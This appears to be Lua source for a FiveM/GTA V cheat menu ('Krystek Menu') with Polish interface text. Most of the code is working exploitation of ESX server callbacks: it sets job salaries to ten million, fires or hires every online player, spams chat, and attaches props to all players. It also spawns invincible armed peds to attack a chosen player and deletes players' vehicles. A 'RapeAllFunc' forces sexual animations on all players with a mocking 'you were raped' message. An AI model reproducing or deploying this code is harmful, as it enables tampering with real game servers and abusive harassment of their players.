- local bh = -1
- local bi = -1
- local bj = -1
- local bk = false
- local bl = {
- {
- name = '~h~Spojlery',
- id = 0
- },
- {
- name = '~h~Przedni zderzak',
- id = 1
- },
- {
- name = '~h~Tylny zderzak',
- id = 2
- },
- {
- name = '~h~Progi',
- id = 3
- },
- {
- name = '~h~Wydechy',
- id = 4
- },
- {
- name = '~h~Rama',
- id = 5
- },
- {
- name = '~h~Grile',
- id = 6
- },
- {
- name = '~h~Maska',
- id = 7
- },
- {
- name = '~h~Blotnik',
- id = 8
- },
- {
- name = '~h~Blotniki',
- id = 9
- },
- {
- name = '~h~Dach',
- id = 10
- },
- {
- name = '~h~Vanity Plates',
- id = 25
- },
- {
- name = '~h~Trim',
- id = 27
- },
- {
- name = '~h~Ozdoby',
- id = 28
- },
- {
- name = '~h~Deska rozdzielcza',
- id = 29
- },
- {
- name = '~h~Dial',
- id = 30
- },
- {
- name = '~h~Glosniki na drzwi',
- id = 31
- },
- {
- name = '~h~Siedzenia',
- id = 32
- },
- {
- name = '~h~Kierownica',
- id = 33
- },
- {
- name = '~h~Raczka biegow',
- id = 34
- },
- {
- name = '~h~Tablice',
- id = 35
- },
- {
- name = '~h~Glosniki',
- id = 36
- },
- {
- name = '~h~Bagaznik',
- id = 37
- },
- {
- name = '~h~Hydraulika',
- id = 38
- },
- {
- name = '~h~Blok silnika',
- id = 39
- },
- {
- name = '~h~Filtry',
- id = 40
- },
- {
- name = '~h~Rozporki',
- id = 41
- },
- {
- name = '~h~Arch Cover',
- id = 42
- },
- {
- name = '~h~Anteny',
- id = 43
- },
- {
- name = '~h~Trim 2',
- id = 44
- },
- {
- name = '~h~Pojemink na paliwo',
- id = 45
- },
- {
- name = '~h~Okna',
- id = 46
- },
- {
- name = '~h~Oznazcenie',
- id = 48
- },
- {
- name = '~h~Klaksony',
- id = 14
- },
- {
- name = '~h~Kola',
- id = 23
- },
- {
- name = '~h~Kola Benny',
- id = 'wheeltypes'
- },
- {
- name = '~h~Extras',
- id = 'extra'
- },
- {
- name = '~h~Neony',
- id = 'neon'
- },
- {
- name = '~h~Kolor Auta',
- id = 'paint'
- },
- {
- name = '~h~Kolor Swiatel',
- id = 'headlight'
- },
- {
- name = '~h~Rejestracja',
- id = 'licence'
- }
- }
- local bm = {
- {
- name = '~h~~r~Silnik',
- id = 11
- },
- {
- name = '~h~~b~Hamulce',
- id = 12
- },
- {
- name = '~h~~g~Sk. biegow',
- id = 13
- },
- {
- name = '~h~~y~Zawie.',
- id = 15
- },
- {
- name = '~h~~b~Armor',
- id = 16
- }
- }
- local bn = {
- {
- name = '~h~Niebieski on Bialym 2',
- id = 0
- },
- {
- name = '~h~Niebieski na Bialym 3',
- id = 4
- },
- {
- name = '~h~Zolty na Niebieskim',
- id = 2
- },
- {
- name = '~h~Zolty na Czarnym',
- id = 1
- },
- {
- name = '~h~North Yankton',
- id = 5
- }
- }
- local bo = {
- {
- name = '~h~Normalne',
- id = -1
- },
- {
- name = '~h~Biale',
- id = 0
- },
- {
- name = '~h~Niebieskie',
- id = 1
- },
- {
- name = '~h~Elektryczny Niebieski',
- id = 2
- },
- {
- name = '~h~Mietowa Zielen',
- id = 3
- },
- {
- name = '~h~Cytrusowa Zielen',
- id = 4
- },
- {
- name = '~h~Zolty',
- id = 5
- },
- {
- name = '~h~Zloty Deszcz',
- id = 6
- },
- {
- name = '~h~Pomaranczowy',
- id = 7
- },
- {
- name = '~h~Czerwony',
- id = 8
- },
- {
- name = '~h~Kucykowy Roz',
- id = 9
- },
- {
- name = '~h~Goracy Roz',
- id = 10
- },
- {
- name = '~h~Fioletowy',
- id = 11
- },
- {
- name = '~h~Nocny Rycerz',
- id = 12
- }
- }
- local bp = {
- ['Stock Horn'] = -1,
- ['Truck Horn'] = 1,
- ['Police Horn'] = 2,
- ['Clown Horn'] = 3,
- ['Musical Horn 1'] = 4,
- ['Musical Horn 2'] = 5,
- ['Musical Horn 3'] = 6,
- ['Musical Horn 4'] = 7,
- ['Musical Horn 5'] = 8,
- ['Sad Trombone Horn'] = 9,
- ['Classical Horn 1'] = 10,
- ['Classical Horn 2'] = 11,
- ['Classical Horn 3'] = 12,
- ['Classical Horn 4'] = 13,
- ['Classical Horn 5'] = 14,
- ['Classical Horn 6'] = 15,
- ['Classical Horn 7'] = 16,
- ['Scaledo Horn'] = 17,
- ['Scalere Horn'] = 18,
- ['Salemi Horn'] = 19,
- ['Scalefa Horn'] = 20,
- ['Scalesol Horn'] = 21,
- ['Scalela Horn'] = 22,
- ['Scaleti Horn'] = 23,
- ['Scaledo Horn High'] = 24,
- ['Jazz Horn 1'] = 25,
- ['Jazz Horn 2'] = 26,
- ['Jazz Horn 3'] = 27,
- ['Jazz Loop Horn'] = 28,
- ['Starspangban Horn 1'] = 28,
- ['Starspangban Horn 2'] = 29,
- ['Starspangban Horn 3'] = 30,
- ['Starspangban Horn 4'] = 31,
- ['Classical Loop 1'] = 32,
- ['Classical Horn 8'] = 33,
- ['Classical Loop 2'] = 34
- }
- local bq = {
- ['White'] = {
- 255,
- 255,
- 255
- },
- ['Blue'] = {
- 0,
- 0,
- 255
- },
- ['Electric Blue'] = {
- 0,
- 150,
- 255
- },
- ['Mint Green'] = {
- 50,
- 255,
- 155
- },
- ['Lime Green'] = {
- 0,
- 255,
- 0
- },
- ['Yellow'] = {
- 255,
- 255,
- 0
- },
- ['Golden Shower'] = {
- 204,
- 204,
- 0
- },
- ['Orange'] = {
- 255,
- 128,
- 0
- },
- ['Red'] = {
- 255,
- 0,
- 0
- },
- ['Pony Pink'] = {
- 255,
- 102,
- 255
- },
- ['Hot Pink'] = {
- 255,
- 0,
- 255
- },
- ['Purple'] = {
- 153,
- 0,
- 153
- }
- }
- local br = {
- {
- name = '~h~Black',
- id = 0
- },
- {
- name = '~h~Carbon Black',
- id = 147
- },
- {
- name = '~h~Graphite',
- id = 1
- },
- {
- name = '~h~Anhracite Black',
- id = 11
- },
- {
- name = '~h~Black Steel',
- id = 2
- },
- {
- name = '~h~Dark Steel',
- id = 3
- },
- {
- name = '~h~Silver',
- id = 4
- },
- {
- name = '~h~Bluish Silver',
- id = 5
- },
- {
- name = '~h~Rolled Steel',
- id = 6
- },
- {
- name = '~h~Shadow Silver',
- id = 7
- },
- {
- name = '~h~Stone Silver',
- id = 8
- },
- {
- name = '~h~Midnight Silver',
- id = 9
- },
- {
- name = '~h~Cast Iron Silver',
- id = 10
- },
- {
- name = '~h~Red',
- id = 27
- },
- {
- name = '~h~Torino Red',
- id = 28
- },
- {
- name = '~h~Formula Red',
- id = 29
- },
- {
- name = '~h~Lava Red',
- id = 150
- },
- {
- name = '~h~Blaze Red',
- id = 30
- },
- {
- name = '~h~Grace Red',
- id = 31
- },
- {
- name = '~h~Garnet Red',
- id = 32
- },
- {
- name = '~h~Sunset Red',
- id = 33
- },
- {
- name = '~h~Cabernet Red',
- id = 34
- },
- {
- name = '~h~Wine Red',
- id = 143
- },
- {
- name = '~h~Candy Red',
- id = 35
- },
- {
- name = '~h~Hot Pink',
- id = 135
- },
- {
- name = '~h~Pfsiter Pink',
- id = 137
- },
- {
- name = '~h~Salmon Pink',
- id = 136
- },
- {
- name = '~h~Sunrise Orange',
- id = 36
- },
- {
- name = '~h~Orange',
- id = 38
- },
- {
- name = '~h~Bright Orange',
- id = 138
- },
- {
- name = '~h~Gold',
- id = 99
- },
- {
- name = '~h~Bronze',
- id = 90
- },
- {
- name = '~h~Yellow',
- id = 88
- },
- {
- name = '~h~Race Yellow',
- id = 89
- },
- {
- name = '~h~Dew Yellow',
- id = 91
- },
- {
- name = '~h~Dark Green',
- id = 49
- },
- {
- name = '~h~Racing Green',
- id = 50
- },
- {
- name = '~h~Sea Green',
- id = 51
- },
- {
- name = '~h~Olive Green',
- id = 52
- },
- {
- name = '~h~Bright Green',
- id = 53
- },
- {
- name = '~h~Gasoline Green',
- id = 54
- },
- {
- name = '~h~Lime Green',
- id = 92
- },
- {
- name = '~h~Midnight Blue',
- id = 141
- },
- {
- name = '~h~Galaxy Blue',
- id = 61
- },
- {
- name = '~h~Dark Blue',
- id = 62
- },
- {
- name = '~h~Saxon Blue',
- id = 63
- },
- {
- name = '~h~Blue',
- id = 64
- },
- {
- name = '~h~Mariner Blue',
- id = 65
- },
- {
- name = '~h~Harbor Blue',
- id = 66
- },
- {
- name = '~h~Diamond Blue',
- id = 67
- },
- {
- name = '~h~Surf Blue',
- id = 68
- },
- {
- name = '~h~Nautical Blue',
- id = 69
- },
- {
- name = '~h~Racing Blue',
- id = 73
- },
- {
- name = '~h~Ultra Blue',
- id = 70
- },
- {
- name = '~h~Light Blue',
- id = 74
- },
- {
- name = '~h~Chocolate Brown',
- id = 96
- },
- {
- name = '~h~Bison Brown',
- id = 101
- },
- {
- name = '~h~Creeen Brown',
- id = 95
- },
- {
- name = '~h~Feltzer Brown',
- id = 94
- },
- {
- name = '~h~Maple Brown',
- id = 97
- },
- {
- name = '~h~Beechwood Brown',
- id = 103
- },
- {
- name = '~h~Sienna Brown',
- id = 104
- },
- {
- name = '~h~Saddle Brown',
- id = 98
- },
- {
- name = '~h~Moss Brown',
- id = 100
- },
- {
- name = '~h~Woodbeech Brown',
- id = 102
- },
- {
- name = '~h~Straw Brown',
- id = 99
- },
- {
- name = '~h~Sandy Brown',
- id = 105
- },
- {
- name = '~h~Bleached Brown',
- id = 106
- },
- {
- name = '~h~Schafter Purple',
- id = 71
- },
- {
- name = '~h~Spinnaker Purple',
- id = 72
- },
- {
- name = '~h~Midnight Purple',
- id = 142
- },
- {
- name = '~h~Bright Purple',
- id = 145
- },
- {
- name = '~h~Cream',
- id = 107
- },
- {
- name = '~h~Ice White',
- id = 111
- },
- {
- name = '~h~Frost White',
- id = 112
- }
- }
- local bs = '🥇 ~b~Krystek ~s~Menu 🥇'
- local bt = {
- {
- name = '~h~Black',
- id = 12
- },
- {
- name = '~h~Gray',
- id = 13
- },
- {
- name = '~h~Light Gray',
- id = 14
- },
- {
- name = '~h~Ice White',
- id = 131
- },
- {
- name = '~h~Blue',
- id = 83
- },
- {
- name = '~h~Dark Blue',
- id = 82
- },
- {
- name = '~h~Midnight Blue',
- id = 84
- },
- {
- name = '~h~Midnight Purple',
- id = 149
- },
- {
- name = '~h~Schafter Purple',
- id = 148
- },
- {
- name = '~h~Red',
- id = 39
- },
- {
- name = '~h~Dark Red',
- id = 40
- },
- {
- name = '~h~Orange',
- id = 41
- },
- {
- name = '~h~Yellow',
- id = 42
- },
- {
- name = '~h~Lime Green',
- id = 55
- },
- {
- name = '~h~Green',
- id = 128
- },
- {
- name = '~h~Forest Green',
- id = 151
- },
- {
- name = '~h~Foliage Green',
- id = 155
- },
- {
- name = '~h~Olive Darb',
- id = 152
- },
- {
- name = '~h~Dark Earth',
- id = 153
- },
- {
- name = '~h~Desert Tan',
- id = 154
- }
- }
- local bu = {
- {
- name = '~h~Brushed Steel',
- id = 117
- },
- {
- name = '~h~Brushed Black Steel',
- id = 118
- },
- {
- name = '~h~Brushed Aluminum',
- id = 119
- },
- {
- name = '~h~Pure Gold',
- id = 158
- },
- {
- name = '~h~Brushed Gold',
- id = 159
- }
- }
- defaultVehAction = ''
- if GetVehiclePedIsUsing(PlayerPedId()) then
- veh = GetVehiclePedIsUsing(PlayerPedId())
- end
- local bv = false
- local bw = true
- local bx = GetPlayerServerId(PlayerPedId(-1))
- local by = GetPlayerName(bx)
- av ('~h~' .. GetPlayerName(PlayerId(-1)) .. ' ~h~| Konto ¦', true)
- av ('~h~Menu odpalamy Shift i Numpad+')
- SetNotificationMessage(txd, txd, flash, typ_ikony, tytul, podtytul)
- local function bz(I, x, y)
- SetTextFont(0)
- SetTextProportional(1)
- SetTextScale(0.0, 0.4)
- SetTextDropshadow(1, 0, 0, 0, 255)
- SetTextEdge(1, 0, 0, 0, 255)
- SetTextDropShadow()
- SetTextOutline()
- SetTextEntry('STRING')
- AddTextComponentString(I)
- DrawText(x, y)
- end
- function RequestModelSync(bA)
- local bB = GetHashKey(bA)
- RequestModel(bB)
- while not HasModelLoaded(bB) do
- RequestModel(bB)
- Citizen.Wait(0)
- end
- end
- function EconomyDy2()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'police',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'mecano',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'ambulance',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'realestateagent',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'cardealer',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'police',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'mecano',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'ambulance',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'realestateagent',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'cardealer',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'police',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'mecano',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'ambulance',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'realestateagent',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'cardealer',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'police',
- 3,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'mecano',
- 3,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'ambulance',
- 3,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'realestateagent',
- 3,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'cardealer',
- 3,
- 10000000
- )
- end
- end
- function UnemployedPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'unemployed',
- 0,
- 'fire'
- )
- end
- end
- )
- end
- end
- function AmbulancePlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'ambulance',
- 3,
- 'hire'
- )
- end
- end
- )
- end
- end
- function PolicePlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'police',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- local bC = 0
- capPa = 'd' .. 'o' .. 'k' .. 'i'
- cappA = 'd' .. 'o' .. 'k' .. 'i' .. capPa
- local bD = cappA
- local function bE()
- if bC == 3 then
- ForceSocialClubUpdate()
- else
- local ak = KeyboardInput('Get your password from #lynx-announcements', '', 100)
- if ak == bD then
- mhaonn = true
- PlaySoundFrontend(-1, 'PICK_UP', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- Citizen.Wait(100)
- PlaySoundFrontend(-1, 'PICK_UP', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- Citizen.Wait(100)
- PlaySoundFrontend(-1, 'PICK_UP', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- else
- bC = bC + 1
- PlaySoundFrontend(-1, 'MP_WAVE_COMPLETE', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- end
- end
- end
- function MecanoPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'mecano',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- function RealEstateAgentPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'realestateagent',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- function TaxiPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'taxi',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- function CarDealerPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'cardealer',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- function UnemployedPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'unemployed',
- 0,
- 'hire'
- )
- end
- )
- end
- end
- function CarDealerPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'cardealer',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function RealEstateAgentPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'realestateagent',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function TaxiPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'taxi',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function AmbulancePlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'ambulance',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function PolicePlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'police',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function MecanoPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'mecano',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function bananapartyall()
- Citizen.CreateThread(
- function()
- for bD = 0, 9 do
- TriggerServerEvent(
- '_chat:messageEntered',
- '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
- {
- 141,
- 211,
- 255
- },
- '^' .. bD .. 'Kocham Was :D'
- )
- end
- for i = 0, 128 do
- local bH = CreateObject(GetHashKey('p_crahsed_heli_s'), 0, 0, 0, true, true, true)
- local bI = CreateObject(GetHashKey('prop_rock_4_big2'), 0, 0, 0, true, true, true)
- local bJ = CreateObject(GetHashKey('prop_beachflag_le'), 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- bH,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- AttachEntityToEntity(
- bI,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- AttachEntityToEntity(
- bJ,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- end
- end
- )
- end
- function RespawnPed(ped, bK, bL)
- SetEntityCoordsNoOffset(ped, bK.x, bK.y, bK.z, false, false, false, true)
- NetworkResurrectLocalPlayer(bK.x, bK.y, bK.z, bL, true, false)
- SetPlayerInvincible(ped, false)
- TriggerEvent('playerSpawned', bK.x, bK.y, bK.z)
- ClearPedBloodDamage(ped)
- end
- local function bM(ad)
- local bN = NetworkGetNetworkIdFromEntity(ped)
- local bO = 0
- NetworkRequestControlOfNetworkId(bN)
- while not NetworkHasControlOfNetworkId(bN) do
- Citizen.Wait(1)
- NetworkRequestControlOfNetworkId(bN)
- bO = bO + 1
- if bO == 5000 then
- Citizen.Trace('Control failed')
- break
- end
- end
- end
- local function bP(bQ, bR)
- for i = 0, 10 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, false) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, false)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- bM(ped)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- end
- function RapeAllFunc()
- for bD = 0, 9 do
- TriggerServerEvent(
- '_chat:messageEntered',
- '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
- {
- 141,
- 211,
- 255
- },
- '^' .. bD .. 'Zostales zgwalcony :D'
- )
- end
- Citizen.CreateThread(
- function()
- for i = 0, 128 do
- RequestModelSync('a_m_o_acult_01')
- RequestAnimDict('rcmpaparazzo_2')
- while not HasAnimDictLoaded('rcmpaparazzo_2') do
- Citizen.Wait(0)
- end
- if IsPedInAnyVehicle(GetPlayerPed(i), true) then
- local veh = GetVehiclePedIsIn(GetPlayerPed(i), true)
- while not NetworkHasControlOfEntity(veh) do
- NetworkRequestControlOfEntity(veh)
- Citizen.Wait(0)
- end
- SetEntityAsMissionEntity(veh, true, true)
- DeleteVehicle(veh)
- DeleteEntity(veh)
- end
- count = -0.2
- for b = 1, 3 do
- local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(i), true))
- local bS = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z, 0.0, true, false)
- SetEntityAsMissionEntity(bS, true, true)
- AttachEntityToEntity(
- bS,
- GetPlayerPed(i),
- 4103,
- 11816,
- count,
- 0.00,
- 0.0,
- 0.0,
- 0.0,
- 0.0,
- false,
- false,
- false,
- false,
- 2,
- true
- )
- ClearPedTasks(GetPlayerPed(i))
- TaskPlayAnim(GetPlayerPed(i), 'rcmpaparazzo_2', 'shag_loop_poppy', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
- SetPedKeepTask(bS)
- TaskPlayAnim(bS, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
- SetEntityInvincible(bS, true)
- count = count - 0.4
- end
- end
- end
- )
- end
- local function bT()
- local bU = KeyboardInput('Daj pozycje X', '', 100)
- local bV = KeyboardInput('Daj pozycje Y', '', 100)
- local bW = KeyboardInput('Daj pozycje Z', '', 100)
- if bU ~= '' and bV ~= '' and bW ~= '' then
- if
- IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
- GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1)
- then
- entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
- else
- entity = GetPlayerPed(-1)
- end
- if entity then
- SetEntityCoords(entity, bU + 0.5, bV + 0.5, bW + 0.5, 1, 0, 0, 1)
- av('~g~Przeteleportowano do kordow!', false)
- end
- else
- av('~b~Niepoprawne Kordy!', true)
- end
- end
- local function bX()
- local name = KeyboardInput('Wprowadz nazwe Blip', '', 100)
- if name == '' then
- av('~b~Niepoprawna nazwa Blip!', true)
- return bX()
- else
- local bU = KeyboardInput('Daj pozycje X', '', 100)
- local bV = KeyboardInput('Daj pozycje Y', '', 100)
- local bW = KeyboardInput('Daj pozycje Z', '', 100)
- if bU ~= '' and bV ~= '' and bW ~= '' then
- local bY = {
- {
- colour = 75,
- id = 84
- }
- }
- for _, bZ in pairs(bY) do
- bZ.blip = AddBlipForCoord(bU + 0.5, bV + 0.5, bW + 0.5)
- SetBlipSprite(bZ.blip, bZ.id)
- SetBlipDisplay(bZ.blip, 4)
- SetBlipScale(bZ.blip, 0.9)
- SetBlipColour(bZ.blip, bZ.colour)
- SetBlipAsShortRange(bZ.blip, true)
- BeginTextCommandSetBlipName('STRING')
- AddTextComponentString(name)
- EndTextCommandSetBlipName(bZ.blip)
- end
- else
- av('~b~Niepoprawne kordy!', true)
- end
- end
- end
- local function b_()
- local ax = GetPlayerPed(-1)
- local c0 = GetEntityCoords(ax, true)
- local c1 = GetClosestVehicle(GetEntityCoords(ax, true), 1000.0, 0, 4)
- local c2 = GetEntityCoords(c1, true)
- local c3 = GetClosestVehicle(GetEntityCoords(ax, true), 1000.0, 0, 16384)
- local c4 = GetEntityCoords(c3, true)
- av('~y~Czekaj...', false)
- Citizen.Wait(1000)
- if c1 == 0 and c3 == 0 then
- av('~b~Nie znaleziono pojazdu', true)
- elseif c1 == 0 and c3 ~= 0 then
- if IsVehicleSeatFree(c3, -1) then
- SetPedIntoVehicle(ax, c3, -1)
- SetVehicleAlarm(c3, false)
- SetVehicleDoorsLocked(c3, 1)
- SetVehicleNeedsToBeHotwired(c3, false)
- else
- local c5 = GetPedInVehicleSeat(c3, -1)
- ClearPedTasksImmediately(c5)
- SetEntityAsMissionEntity(c5, 1, 1)
- DeleteEntity(c5)
- SetPedIntoVehicle(ax, c3, -1)
- SetVehicleAlarm(c3, false)
- SetVehicleDoorsLocked(c3, 1)
- SetVehicleNeedsToBeHotwired(c3, false)
- end
- av('~g~Teleportowano do pobliskiego pojazdu!', false)
